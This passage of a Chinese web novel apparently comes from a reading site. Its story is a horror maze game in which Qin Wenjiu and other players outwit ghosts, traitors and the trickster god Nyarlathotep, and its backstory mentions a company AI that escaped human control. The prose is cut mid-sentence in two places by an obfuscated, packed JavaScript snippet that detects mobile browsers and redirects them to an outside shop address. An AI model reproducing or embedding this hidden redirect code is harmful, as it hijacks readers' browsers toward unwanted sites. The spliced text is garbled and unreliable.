“不然呢,你怎么知道那个瓜娃子是真为了咱们好还是想害咱们?你看他当时踹咱们的狠劲儿,说不准是想那咱们做挡箭牌自己逃出去的撒。”10号哼哼道。 他转过身一把扼住11号的脖子,一脸阴冷地看着他:“你不会是后悔了吧?可是你已经跟他们说谎了,你猜如果让那几个人知道你骗了他们会怎么处理你?” 11号被掐得上不来气,涨红着脸泪流满面。他开始害怕了,只是现在除了听从10号没有其他的办法了:“你……你之后想怎么做?” 10号的脸上露出一个堪称阴狠的表情:“十个按钮已经都被找齐了,他们现在对我们还没起疑心,我们只要在频道里问出他们大概的位置,然后把按钮抢过来就好了。” “我们只有两个人……你哪来的把握能让他们让出按钮?” 10号冷哼道:“你只管听我的就行。” “你……你先放我下来……”11号艰难地拍着他的手。 10号哼了一声松了手,看着逶迤在地上的11号正欲开口,头顶突然传来一声异响,两人不由得抬头齐齐向上看。 “各位玩家请注意,第一次可视时间即将开始,请各位做好准备,把握机会。” “龟儿子的,怎么……怎么会这样?”10号慌了,连忙掏出对讲机打开频道,电流接通的瞬间十几道声音瞬间炸响,怒吼的、质疑的、哭天喊地的,乱成一锅粥混在了一起,巨大的噪音直冲得他耳膜发涨。 本来坐在地上的11号眼神突然变了,他颤颤巍巍地抬手指了指10号:“你、你背后!” “莫啰连!”10号不耐烦地摆了摆手。不过很快他就感觉到了异常,本来在耳朵里阴魂不散的鬼叫声突然消失了。 这叫声本就是找不到猎物的怨鬼放出来扰乱人心的,现在叫声消失了…… 他颤颤巍巍地转过身,黑暗中依稀可见一道人影摇摇晃晃地站起来,只是这道身影过于瘦长,似乎是被人用口香糖机狠狠拉扯了一下,硕大的头颅摆在这细瘦的躯干上仿佛要折断般摇摇欲坠,头颅上嘴的位置上传出呼哧呼哧的低沉嘶吼。 10号默默伸出手捂住自己已经害怕地无法自主闭合的嘴,把手里还兀自叫个不停的对讲机扔到了角落里,拼命祈祷眼前这个怪物在黑暗中无法看清自己。 那鬼影果然中计,摇晃着向角落里一点点移去。 劫后余生的喜悦让10号忍不住泪流满面,就在这时,那道电子音不合时宜地响起:“第一次可视时间开始。” 10号只感觉眼前一闪,已经许久没有捕捉到光线的眼睛突然又重新恢复了它的作用,黑色的巨型高墙间一只挡路的瘦长鬼影以一个极具冲击力的方式撞进了他的眼睛。 鬼影也看清了那只试图引诱自己的对讲机。 它慢慢把脑袋转过一百八十度,平整的黑色面孔上突然裂开一个大口,那道裂口越张越大,一直到整个头像切西瓜一样分成了两半,露出嘴里数层狰狞的獠牙,向着10号和11号猛地扑来。 “啊——啊!”两道交缠的凄惨叫声从对讲机里传来,惊得浦帆忍不住掏了掏耳朵。 他实在没想到这么快就有人被袭击了,一想到自己千挑万选的发布会参加者并没有自己以为的那么厉害,心里就忍不住很悲伤。 他上气不接下气地跑到秦问酒指定的地方,没费多少力气就找到了他想要找的东西。 那是一堵面对岔路口的墙壁,上面刻着像是指甲在墙上痛苦挠抓出来的文字——“BFCER”。 “太神了……”浦帆忍不住喃喃道。他没想到秦问酒居然真的可以在黑暗中凭借这么少的线索就找到密文的所在地,他不由得仔细查看墙上的文字试图从里面找出一丝线索。 不知道是不是眼睛已经太久没有视物,浦帆越来越觉得墙上的字迹开始扭动,那些歪歪扭扭的字母开始变成一张张翁动着的小嘴,每一张都开开合合,喃喃道:“过来吧,你就安全了。” “你想结束这一切吗?” “回家吧,回家吧,马上就可以回家了。” 浦帆不受控制地向前走了几步。 与此同时在他的前方传来咔擦咔擦的拖蹭声,一只怨灵的影子挟着一股浓厚的血腥气向着转角走来。 就在二者即将相遇之际,秦问酒面无表情的脸闯进了浦帆的脑海。 “浦帆,完不成任务我就把你打成猪头。” 浦帆一个激灵清醒了过来,只是这时怨灵已经离自己很近了,再逃跑显然只会惊动它。 浦帆一咬牙干脆躺在地上,既然规则说灯光会吸引怨灵,那就说明它们很可能也是依靠视力猎捕猎物。 万一它们就真把自己当减速带呢,浦帆一边装死一边自我安慰道。 他感觉到一股阴冷的气息漫过了自己的身体,不是物理上的寒冷,更类似于直逼灵魂的绝望感,与此同时一股黏腻的液体顺着黑色岩石慢慢滚到他面前,又穿过头与地面的缝隙一直抵到他身后的墙壁上。 他忍不住把眼睛睁开了一条缝隙,正正好对上一双死不瞑目的眼睛。 浦帆强忍着咬住舌尖,一直到嘴里尝到血腥味才克制住自己的尖叫。他认出了那张已经被啃了一半的脸,那就是方才在对讲机里告诉其他人10号消失的家伙。 那怨灵果然没识别出倒在地上挺直成一条的浦帆,它拖着半截倒霉蛋的尸体走向了下一个路口。 浦帆惊魂未定地从地上爬起来,用还兀自打着颤的的胳膊狠狠打了自己几下。 疼痛让他的大脑清醒了许多,也提醒了他自己需要完成的事情。他捡起放才被他扔到一边的对讲机聚精会神地捕捉起里面的信息。 另一边秦问酒也没闲着,她转了几圈终于找到了自己的目标,那是他们找到第一个按钮时1号报给他们的坐标,在这拐角里几只怨灵层层叠叠地缠绕在一起,依稀可见最底下压着一个生死未卜的倒霉蛋。 “妈呀真是难办啊……”秦问酒挠了挠头。她没有立刻上前行动,而是耐心地等待第一次可视时间过去。 黑暗再一次笼罩了整个迷宫,视力被剥夺之后落进耳朵里的声音变得愈发清晰,秦问酒甚至可以听见怨灵的牙齿咬破人血管的脆响。 意识再等下去自己千辛万苦救出来的肯定是一具尸体,她从兜里掏出浦帆的手电筒,一脸不舍地抚摸了一下,然后深呼了一口气挥手把手电筒扔了出去。 带着光柱的手电筒在空中划出一个优美的半圆,最后越过几层墙落在了迷宫的另一侧。 鬼怪堆里传来悉悉簌簌的声音,最上方的怨鬼见到光亮不自觉地被吸引了过去,接踵而至的脚步声逼近秦问酒然后又远离,她耐心地等待最后一只鬼的脚步声消失在转角,这才快步走到昏迷过去的1号身旁。 秦问酒用脚轻轻碰了一下1号的头,男孩一动不动气息微弱。她仔细思考了一下失血的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416455|200785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是该心肺复苏还是该人工呼吸,然后找摸索着找到脸的位置给了他一个耳光。 1号本来已经进入脑缺氧飘飘然的幻觉里,这记耳光直接把他快要像奶油般化开的脑浆摇凝固了,他忍不住不舒服地哼出声。 “老办法虽然粗暴了点见效就是快。”秦问酒欣慰地看着正要挣扎着坐起来的1号:“现在还可以站起来战斗吗?” “7号?”1号愣了一下问道。 秦问酒哼哼道:“看来脑子还没坏掉,不枉我牺牲了一个手电筒救你。” “那个人……不对,那应该就是奈亚拉托提普吧,他假扮我的这段时间做了什么?”1号犹豫问道。 “也没干什么大事。”秦问酒耸了耸肩:“就是扰乱了一下军心挑拨了一下我们之间的关系罢了。” 1号闻言一愣:“这还叫没干什么大事?” “说来还要感谢他,混乱的局势下谁是可靠的朋友谁是墙头草就一目了然了。而且这样一来你就必须听我的——”秦问酒狡黠地眯起眼睛:“你现在名声可臭了,在其他人眼里是无能的领袖,离开我绝对要被群殴。” 1号闻言一脸心酸,不过他没忍心问具体的状况,岔开话题道:“现在距离游戏结束还有多久?你想要我做什么?” “14分48秒92,如果没算错的话。”秦问酒说:“现在是14分46秒了。你对你组里其他两个人了解怎么样?跑步快不快?视力好不好近不近视?” 1号沉默了一下,老实回答道:“2号还算听话,没什么主见;3号……挺聪明的。我在学校的时候刷新过男子400的记录。两眼都是5.1。” 秦问酒听了满意地露出一个魏大勋的微笑,不过她没说话,只是一味地带着少年在迷宫里穿来穿去。 1号没等到自己预期中的回复,不由得有点急了。他现在对于秦问酒产生了一种微妙的雏鸟心理,觉得要是被秦问酒嫌弃没用自己就完蛋了:“我打架也不错的,你别看我刚才被暗算了那都是我不小心……哎你叫什么啊我叫沈不语……” 秦问酒突然站住了脚,沈不语始料不及咣当撞上了她的后背。 小孩儿还以为此女终于认可自己,正满心欢喜觉得已经熄灭的中二之魂又重新燃起小火花,就听见前方之人悠悠道:“我才不告诉你我叫什么呢,我不跟骗子交换信息。” 沈不语愣了一下。 她转过身紧紧盯着沈不语,虽然在黑暗中沈不语仍然感到了一股来自三次元成功人士的威压:“你跟3号,认识吧?” “不仅认识,关系应该还不一般。”秦问酒一看沈不语的反应就知道自己蒙对了,按耐下心里的得意展开自己的大推理:“我猜猜,即使是仇人初次进到游戏里也会有一种亲密之情,你们两个却始终有一种防范的距离感。虽然他一开始帮着你说话,但你们都在刻意隐瞒认识对方的情况,好像两个人的相识是什么见不了光的事情。” 沈不语忍不住发抖了,他突然觉得眼前这个女人太过恐怖,或许奈亚拉托提普的真身与她面对面交手也会败于下风。 他听见女人继续说:“是什么样的相识如果让其他素未相识的玩家知道会给你们带来麻烦呢?什么东西,能让十几个性别出身爱好年纪都不同的人趋之若鹜?” 她抬眼看着少年的轮廓在黑暗中微微颤抖,举重若轻地丢出下一句:“你们两个——之前就玩过这个游戏吧。” “即使我们通过了这个副本,游戏也不会结束对吗?” 5. 引诱 如果此刻光线充足,秦问酒会发现沈不语的脸色像是浸了冷水一样苍白。 他控制住一个劲儿打颤的牙关,勉强笑道:“你想象力也太丰富了哈哈哈,我们俩确实认识,只不过是单纯聊不来所以不想多生纠葛罢了哈哈哈哈。” 秦问酒没说话,她好像要故意品尝小孩儿的惴惴不安一样沉默了。 很漫长的几十秒过后她才意犹未尽地开口道:“13分58秒。等结束了现在的麻烦你要告诉我你知道的全部,不要白瞎我在你身上浪费的这一分钟。” 她说完转身就走,拿出对讲机调到浦帆的频道上,频道一接通浦帆的声音就闯了进来:“我的老大!你终于接电话了!我等你等的……” “少废话,结果怎么样?”秦问酒简单粗暴地打断了他。 “按你说的找到了一段密文。玩家里可以确定遇难的是4号、6号、10号、11号。1号和3号没有联系上,按照这个概率我们只需要四个按钮就足够了,次数更多只会增加风险不会增加收益。” “1号正跟着我行动。”秦问酒余光看了一眼跟在她身后的小孩,嘱咐道:“我们现在手里还有两个已知位置的按钮,你和楚胧联系以每隔一分钟的速度消耗它们,运气好的话还可以找到一段密文。” “你刚才是怎么确认那段密文的位置的?”浦帆问道。如果能有不需要可视时间就能找到密文的办法,他们的存活机会会大大提升。 秦问酒无奈道:“这个办法只能用一次,奈亚拉托提普应该已经发现这个疏漏了。不要抱着侥幸心理,快点行动!” 浦帆领着任务走了。秦问酒转身看向已经被晾了很久沈不语,小孩儿正百无聊赖的地用鞋底在地面上磨来磨去,一看见女人理他了立刻一瞪眼:“你们居然不按我的计划来!” “效率太低,条件太高。”秦问酒淡定地解释,又跟他说了一个数字:“你现在去找2号,然后说服她跟着你一起找到第三段密文,找到之后就通过我告诉你的这个频道联系。” “行。”沈不语领了命令就着急地离开了,走了几步又回过头问:“我的对讲机被拿走了,没办法联系你。” “用2号的。” 沈不语又一瞪眼:“万一我没能说服她跟着咱们行动呢?” 秦问酒没回头,只甩给他一句话:“那就不用联系了,热身都做不好还怎么干正事。” 沈不语顺风顺水活了快二十年,走到哪都是天之骄子被同伴尊重钦佩,没想到进入这个游戏之后就接连受挫,现在还有被当作废物甩掉的风险。 他一咬牙冲秦问酒已经快要看不清的身影吼道:“别想就这么甩掉我!等着我联系你吧!” 空气送回来一声说不清意味的轻笑,还有女人轻飘飘的一句话:“小点声,一会怪物们都喊过来了。” 按钮被按下又放开,眼前的景象亮起又变的模糊。 又一次可视时间结束后,黑暗中秦问酒喘息着靠在了拐角的墙壁上,她感到后背一阵黏腻,那是鬼怪们在她身后撕咬出的伤口在流血。 她试图缓和住自己的呼吸,却发现自己连控制肌肉的力气都没有了。 怎么会把自己搞得这么狼狈?秦问酒问自己。 应该让其他人去负责转移怨鬼们的注意力的,沈不语体力好又有雄性的天然优势;浦帆块头大怨鬼们可以聚在一起吃好久;还有楚胧,胆子小体力又差,搞不好一尖叫连奈亚拉托提普都能被吸引过去。 他们中的任何一个人都比自己更适合干这个吃力不讨好的活,秦问酒想不通为什么她要自己揽下这个辛苦的分工。 她想拿出对讲机看看其他人的情况,摸了半天摸了个空才想起那个东西早就被自己丢掉了。 当沈不语想联系她的时候会发现传声筒另一边的人是浦帆,这才是秦问酒交给他的真正任务。 那个对讲机其实是玩家的护身符,这一点游戏规则里说的很清楚了。 沈不语的对讲机失踪后他们没有任何人受到怨灵的攻击,是因为失去保护的沈不语已经吸引了大部分的怨灵。 奈亚拉托提普之所以要挑拨离间一部分原因是要引起他们相互猜忌攻击,另一层原因——秦问酒猜测,是为了让一些不相信团队选择丢掉对讲机独自行动的玩家被怨灵围攻,4号和6号恐怕就是这样死掉的。 所以在游戏的最后几分钟她选择主动丢掉对讲机吸引火力,这样其他人的任务就变成了简单的在迷宫里寻找密文。 沈不语联系上浦帆之后就会明白自己的意思,以他的领导力带着其他人完成游戏不是难事。 自从进入这个世界数个小时,秦问酒终于有时间放松自己的大脑开始梳理目前发生的一切了。 BLACKDOOR的意识沉浸游戏在正式发售之前发布过一批先行版的游戏舱,很快就在全世界被抢购一空,那些游戏舱的的主人恐怕已经先他们一步进入这个游戏,沈不语的存在就是最好证明。 还有浦帆的发售会。 秦问酒本意想在发售会上阻止游戏舱的发售,却发现整个发售会展厅的内部都被安装了线路。 那个家伙已经进化到可以影响现实世界的程度,它把整个展厅改装成了一个巨大的游戏舱,一举端掉了所有可能影响游戏发售的人。 一切的始作俑者都是它,秦问酒默默想。 一开始它只是公司用来投放广告用的智慧体,帮助当时还是一个小公司的BLACKDOOR迅速吞并了数个国家的游戏市场。 可是秦问酒逐渐发现那个东西的增长速度已经超过自己的控制,甚至有时候会违背公司的指令擅自行动,那是她二十几年最感到恐惧的一刻。 于是她不顾黑门的阻拦借用BLAVCKDOOR巨大的算力系统把它封存在公司的最底层,还庆幸自己及时关上了潘多拉的魔盒。 现在它借助黑门的手逃脱出来了,秦问酒比谁都知道这意味着什么。 BLACKDOOR的所有防御系统都已经沦陷了,公司所有的数据都会被吞噬为它所用,更进一步还会污染所有联通过BLACKDOOR旗下产品的服务器。 这是一场世界性的战争,只需要几秒钟的时间,人类还不知道战役的开始一切就都结束了。 秦问酒十岁就入读全世界最顶尖的大学的CS专业,刚刚成年就成了全世界最大的游戏帝国幕后的统治者。 她自认为目前活着的人里不会有心智和智力综合起来超过自己的了,可现在要面对的是完全熟知自己每一个指令与风格的算力怪物,她并不像自己表现的那么有底气。 不管如何,我要亲手把它消灭,就像它从来没来过一样。她默默想道。 胡思乱想了一会儿她感到自己的力气逐渐恢复过来了,这才扶着墙勉强站起来。这时一阵脚步声由远及近缓缓而来,她茫然地抬起头,居然发现沈不语站在她面前,在她震惊的目光下慢慢露出一个微笑。 “喂,喂,听到请回复!”浦帆不知道第几次对着对讲机说道,回应他的却只有沉默。 在他身边的楚胧一脸担心:“问酒姐不会有危险吧。” “怎么可能,她可是秦问酒。”浦帆下意识反驳道,不过很快他又意识到确实存在这种可能,只好安排道:“我们先回到广场,第二段密文已经找到了,不管怎么说肯定需要一个人回去输入密文。” 他一边说一边向前走了一步,这一步却没有如他意料般踏在粗粝的石砖上,鞋底的质感反而更像游戏最开始的大厅一样光滑。 他惊愕地回过头,却发现自己真的正站在中央大厅前,巨型屏幕正发出莹莹的幽光,只是原本飞快倒流的时间已经停在了8:54:71,而下面的分数则变成了7/13。 身后伴随着拍手声传来一阵夸张的大笑,浦帆向着声音的方向看去,只见一个穿着华丽长袍,身型瘦削的老人凭空出现朝着他缓步而来。 浦帆警觉地退后两步,他知道这就是奈神的真身。躲在暗处这么久祂终于现身 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“你是觉得我在骗你吧,想让你放松警惕。不过我说的可都是货真价实的实话,玩了这么多轮游戏不论是智力还是忠实度你都是这些玩家里最高的,如果和你做队友我一定会感到很荣幸,可惜你那些蠢货队友根本不了解你的可贵,还想要牺牲你,真是让人痛心。”奈亚拉托提普一副真心地痛心疾首。 听见祂提到秦问酒,浦帆稍微眨了一下眼睛。 奈亚拉托提普的笑意加深了:“终于有反应了,看来这个人对你很重要啊,就是你在她心里可没那么有分量。” 祂一边说着一边挥了挥手,广场上的大屏突然开始播放一段视频,浦帆没费多少力气就看出画面里的主人公正是秦问酒与那个代号是1号的年轻人。 他听见秦问酒说:“你要说服2号帮我们完成后面的任务,我会安排浦帆寻找密文来引开怨鬼和那个骗子神的注意力。” 1号闻言面色有些犹豫:“这么做那个男人会有危险吧,他看起来应付不了那些鬼魂。” “你在同情他吗?”秦问酒嘲弄道:“如果你知道我们为什么进入这个地方玩这种要命的游戏就不会再说这种蠢话了,事实上浦帆即使出事也是死有余辜。” 视频到这里就结束了,浦帆忍不住往前走了两步想看的再清楚一点,却被奈亚拉托提普拦住了:“凑那么近干什么,你不是已经一眼就看出这段视频是真的了吗?” 祂绕到浦帆身后,厚重干燥的手重重按在浦帆微微颤抖的肩膀,那是一个给予依靠的姿态:“作为游戏之神,我的工作就是惩罚那些贪婪的灵魂,一想到如此忠诚之人就被这么玩弄背叛我真是感觉很痛心,忍不住想帮帮你。” 祂打了个响指,广场地面开始颤抖,地砖之间相互挤压碰撞,一扇门隆隆地自地面升起。 奈亚拉托提普走到那扇门前,缓缓推开门扉,露出门后的景象。浦帆试图控制自己的眼睛,可目光还是无法克制地定格在门上。 门后是他无比熟悉的展厅,十几个小时之前自己还站在展台上意气风发万众瞩目,相机的闪光灯咔咔闪烁把巨大的展厅闪烁的如同白昼一般。 此刻展台上空无一人,相机和话筒都暂停了工作。台下的记者和观众面露疑惑,相互交头接耳窃窃私语。 奈亚拉托提普诱惑地在他耳边呢喃道:“我最喜欢诚实的人,所以我给你一个把一切都拨回正轨的机会。” “你现在就可以顺着这扇门离开,回到展厅里完成你的演讲。今天之后你就是BLACKDOOR无可替代的发言人,而那个小丫头也只能永远被困在这座迷宫里,用永世不得超生来偿还她对你的背叛。” “你用不着有心理负担,你只是提前离开了游戏,没有背叛你的伙伴。离开之后所有人都不会记得这一切,台下的观众只会惊叹你是如此年轻有为,前途无量。” 浦帆回头看了一眼身后鬼叫连连的迷宫入口,又看了看门后散发着温暖气息的文明世界,忍不住向前迈了几步,向着大门走去…… 6. 背离 “怎么样?你现在乖乖离开,回到你的学校继续做好学生,你的那些同学们也会活过来继续陪伴着你,你现在的经历不过就是一场噩梦罢了。” 同样的迷宫广场,同样的大门,只是现在站在这里的是楚胧,面目慈祥的奈亚拉托提普站在她身边循循善诱。 楚胧有点害怕,她急急转身就想回到迷宫里去:“我……我回去了。问酒姐还等着我和浦大哥告诉她密文呢。” “哈哈哈哈哈哈哈哈哈哈哈,秦问酒?浦帆?你想着他俩,他俩可未必如此信任你。”奈亚拉托提普突然狂笑道。 祂一边笑着一边绕着楚胧走来走去,上上下下肆意打量着少女单薄的身体:“你也不想想,你没什么特长,也不够聪明,他们两个人精凭什么一直带着你?” “因为……因为进入这个门之前问酒姐我们就见面了。”楚胧小声说。 “嗯哼哼。”奈亚拉托提普一脸玩弄地哼哼着:“对她来说在驴头鬣嘴里救你不过是轻而易举的事。随便就救下来的小跟班在后面可以为她顶一条命,这笔买卖可划算多了。” “你应该不知道吧,你信任的问酒姐和浦大哥,在进入这个世界之前就认识。” 楚胧闻言猛的抬起头来。 “要不我们先试着找一下其他密文吧,或许他们有别的麻烦耽误了。”迷宫的另一端,2号担忧地看着疯狂调频的沈不语。 “不行。”沈不语果决地否认了女人的建议:“秦问酒要我找到密文之后就立刻联系她,在她下一个指令之前我不能有其他动作。” 2号欲言又止地看着他:“要是……她骗了我们该怎么。” “她不会的!”沈不语肯定地说道。 “就算她没骗你,我们也要带着他们几个一起出去吗?”2号吞吞吐吐地说,“你应该也清楚吧,我们带出去的人越多,我们在这个门里分到的货币就越少……银门6已经是难度很高的门了,我们活下来不容易,没道理为了几个一面之缘的人稀释我们千辛万苦赚的货币。” 沈不语愣住了,他不可思议地转头看向2号,然后扼住2号的脖颈把她抵在石墙上:“你知道自己在说什么吗?” 2号笑了一下,那张惯常做出服从神色的脸上此刻却看不出丝毫的害怕:“很惊讶吗?以为只有你和3号是老玩家?我进的门比你们两个还要多,可现在不是还被困在第一环道里?” 她单手伸手握住沈不语的手,另一只手拿回自己的对讲机别回腰间。 沈不语惊讶的发现这个女人握力异常强悍,自己居然挣脱不得:“你第一次出门的时候我见过你一次,我记得你还有一个哥哥和另一个同伴吧,怎么现在没看见他们?” “喔!”她做了一个夸张的表情:“我猜到了,是因为你们三个带着那扇门里所有的人都活下来了吧?所以你们拿到的那点可怜的货币别说第二环道,连继续待在第一环道都勉强,只好分开行动想拿到更多货币。” 她凑的很近,一双脉脉含情的眼眸一动不动盯着小孩儿。沈不语一下子脸红了,连连后退:“你……你想干什么?” “我想拉拢你。”2号笑得很温柔:“你跟着我去找第四段密文,等他们联系你之后你把他们骗过来,我们问出其他的密文就灭口,然后离开游戏。” “我不会干这么背后插刀的事情。”沈不语的表情冷了下来。 2号愣了一下,然后哈哈大笑了起来。沈不语莫名其妙地看着女人笑得弯下了腰,防备地退后了一点。 “哈哈哈哈哈哈哈哈背后插刀,你这小孩儿太逗了。”2号妩媚地抹了抹眼角不存在的眼泪:“你在这个门里忠于你的朋友们了,那门外你的哥哥们呢?” “第一环道遇见6号门是很罕见的概率,只要我们通过了就可以拿到很丰厚的奖励,你可以把你获得的部分分给他们,你们一起进入第二环道,这难道不比你们冒着生命危险不停地闯低阶门划算多了。” 2号上前了一步,这一次沈不语没再退后。她得意地挑了一下眉,把手搭在男孩儿的肩上:“那我们就这么说定了?我的好伙……” 2号的话还没说完,就感觉自己被一只手狠推了一下。 沈不语几乎是跳起来逃跑的,他一边跑一边回头大喊:“阿姨我借你对讲机用一下,你说了我们是好伙伴!好伙伴就要慷慨地分享!” 2号脸色一变,摸了摸腰间果然不见了对讲机的踪影。 她咬牙追了几步,奈何小孩儿跑得太快,一句话之间就完全消失在黑暗之间踪迹难寻了。 她正气得在原地风度尽失跺脚大骂,迷宫墙后传来一声轻笑,3号从墙后转身走了出来。 女人见状立刻不骂了,撩了撩头发轻声道:“勋哥……你交给我的任务我……” “没关系,你做的已经很好了。”尚勋自然地挽住女人的纤腰:“那个秦问酒不那么好搞,我们先等他们和奈亚拉托提普斗得两败俱伤再做打算。” 沈不语一口气跑过了好几个岔路,确认2号确实追不上来了才停下。 他低头看了一眼自己手里的对讲机,平生第一次骗人还有点怪不好意思的。 “真蠢……我能放着真大佬不跟跟你这种两面三刀的混吗?”他嘟嘟囔囔的吐槽着,一边把玩着对讲机的调频键。 男孩突然停下了脚步,因为面前的窄路上站着一个人,黑暗里那双金色的眼睛熠熠发光,像两个电灯泡。 上一次就是见到了这双眼睛,然后自己就…… 沈不语想跑已经来不及了,连忙两眼一翻两腿一蹬准备装死,却被奈亚拉托提普制止了。 “我可不是那些愚蠢的怨灵,你这点小把戏还骗不了我。”游戏神笑吟吟地说。 沈不语被拆穿了也不慌不忙,索性顺势坐在地上大大方方地看着这白胡子老头。 “你不怕我?”奈亚拉托提普挑了挑浓密的白色眉毛。 “不怕,因为我不会听你任何一句鬼话。”沈不语肆无忌惮道:“我猜你在这个游戏里也有限制吧?你不能随便的杀人,不然以你的效率我们早就死光了。你应该只能凭借欺诈的手段欺骗人自主选择死亡,不过这招儿对我没用,而且你别想再耍花招骗走我的对讲机了。” 奈亚拉托提普闻言哈哈大笑:“不愧是闯过一次银门的玩家,确实比那几个小鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416457|200785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难缠多了。” 沈不语得意地挑了挑眉。 “就是不知道你那些同伴们是不是有和你一样的心志,有时候队伍里人太多就是有这种难题对吧?不是每个人都能做到完完全全的相信彼此。” “你在等秦问酒的联系吧?”奈亚拉托提普促狭地挤了挤眼睛:“我这次来可是好心给你提个醒,不知道你一会接通联系发现对面不是秦问酒该是什么反应,对面的人也发现你不是秦问酒又会是什么反应。” 沈不语愣了一下:“你这是什么意思?”他一下子就急了,站起身想要拽住游戏神宽大的袖子:“你给我把话说清楚,不要打谜语!” 神的袖子像翩跹的燕雀一样轻盈的从他的指尖飞走了,奈神的人形一点点破碎成菱镜一样的碎片弥散在空气里,只剩下想要寻求真相的年轻人还兀自在原地蹦来蹦去。 “我一直联系不上你,所以过来看看。2号已经跟浦帆汇合了。”“沈不语”看着秦问酒注视他的眼神解释道。 “第二三段密文都找到了,最后五分钟我们一起合力找到第四段不是难事。”他说着皱了皱鼻子:“你受伤了,我扶你起来。” 秦问酒大大方方地伸出手:“好啊,正好我知道第四段密文在哪里。” “沈不语”闻言目光闪烁:“这么神?那你领路。” 秦问酒领着“沈不语”在迷宫里熟练地移动着,在方才的二十分钟里她似乎已经完全熟知了整条迷宫的所有路线,甚至还有闲心带着他一边躲避游荡的怨灵一边闲聊。 “你知道吗?在我最开始进入这里的时候意外发现这些怨灵的移动是有规律的。我猜是因为怨灵的移动会扰动空气,为了让玩家在迷宫里丧失所有感觉然后慢慢疯掉,所以这个游戏的创造者有意让怨灵的分布是均匀的。” “是这样吗?一般人真是想不到这一点。”“沈不语”饶有兴味地看着她。 “还有更有意思的。”秦问酒笑着说:“在经过某些地方的时候,我突然发现风速变得快而猛烈了,这是为什么呢?我不敢相信如此精密的游戏会犯这么低级的错误。” “沈不语”的表情僵住了。 “不过后来我想明白了,这恐怕就是迷宫的缔造者无意中的疏漏吧。被祂困在迷宫里的亡灵不甘心一直被围困在这里,于是也在寻找密文的踪迹,所以风更凛冽的地方,就是密文的所在地啊。” “不过可惜这个办法只用了一次就失灵了,这个疏漏很快就被debug掉了。”秦问酒遗憾地耸了耸肩。 “沈不语”勉强笑道:“既然这样为什么还要说这个,这对我们找到第四段密文有帮助吗?” “嗯,没有帮助,只是我想让你知道我对这个游戏到底了解到什么程度罢了。”秦问酒轻轻地说。 与此同时她停下了脚步,“沈不语”发现周围没有其他的路了,自己明明一直扶持着女孩走路,此时却被逼进了角落里。 “这里是迷宫的最外层,整个迷宫距离广场最远的点,最后一段密文就在这里。”秦问酒轻轻挥开他的手,俯下身优雅地行了一个礼:“奈亚拉托提普大人,我们就在这里结束这一切吧。” 7. 奈亚拉托提普的真面目 “沈不语”的身体像蜡液一样融化掉了,慢慢露出里面包裹着的金色长袍。 变回真面目的奈亚拉托提普舒展开自己的筋骨,慢慢抚平衣袍上的褶皱:“我很好奇你最开始是怎么发现对讲机另一侧的1号是我假扮的?我已经把他说话的习惯学了十成十,即使他最亲近的人听见也不会有任何起疑。” 秦问酒笑了笑:“你虽然可以随意模仿人类的各种机能,但是你理解不了人类的思想。沈不语那种重度中二病患者,让他认输简直比杀了他还难。即使计划超出了他的控制范围,他也会强装镇定,然后背地里才哭天喊地地求救。” “喔,你不知道什么叫中二病吧。就是一种很高尚的精神疾病,具体表现为想要拯救世界追求人类大团结。”秦问酒看着奈亚拉托提普疑惑的表情耐心解释道。 “说实话你的名号太唬人了,一开始我真当你是神话里那位全知全能的神,还对能不能胜过你忧心忡忡。”秦问酒观察着奈神的表情,继续加把劲儿说道:“不过识破了你不入流的小把戏之后我就突然有信心了,你不是无所不能的神,只不过是一个故弄玄虚的益智游戏里装神弄鬼的npc罢了。” 奈亚拉托提普为女孩的这句话感到恼怒,祂振起袖子呼唤起猛烈尖啸的风。 秦问酒感觉原本空旷的空间变得迫近了起来,四面迷宫的墙壁开始隆隆地移动,直到把两个人围在一个狭小的四方空间里。 迷宫活了过来,墙壁变成了有生命的怪物。 一个黏腻潮湿的平面紧贴了上来,秦问酒的后背立刻感到一阵刺痛,就像有无数张小嘴正咬在她的血管上疯狂的吸血,本来已经凝结的伤口顷刻间染红了白色的衬衣。 奈亚拉托提普得意的看着狼狈的对手,可尽管这样女孩仍然没有露出惊惧的神色,还是纹丝不动地站在原地。 “你不会以为只要在这里拖延时间就能获胜吧?还指望着你那些废物同伙按照你的指令行动吗?他们现在已经开始自相残杀了!”奈亚拉托提普地声音如同洪钟般在秦问酒耳边回荡,她略感不适地皱了皱眉。 此时秦问酒身后的一整面墙壁已经完全液化成了一股腥臭黏腻的黑色液体,千万个狰狞怒吼的面孔在粘液里疯狂地挣扎试图逃出,却又被一股无形的力量狠狠拖拽回去。 它们只好把怒气发泄在这个离它们最近的渺小人类身上,张开它们腐朽的嘴狠狠啃咬上这具躯体每一个可以被触及的地方,排山般的黑潮很快吞噬了女孩,只留下一双平静的双眼若隐若现地晃动在游戏神面前。 奈亚拉托提普止不住地冷笑:“看看这些被困在迷宫里的灵魂们吧,很快你就要跟它们一起永生永世被困在迷宫里被慢慢腐蚀了。” “这么长时间里只有你只说了一句真话。”秦问酒的声音穿过粘液若隐若现地传来:“那就是你真的要和这些东西们一直困在这里了。” 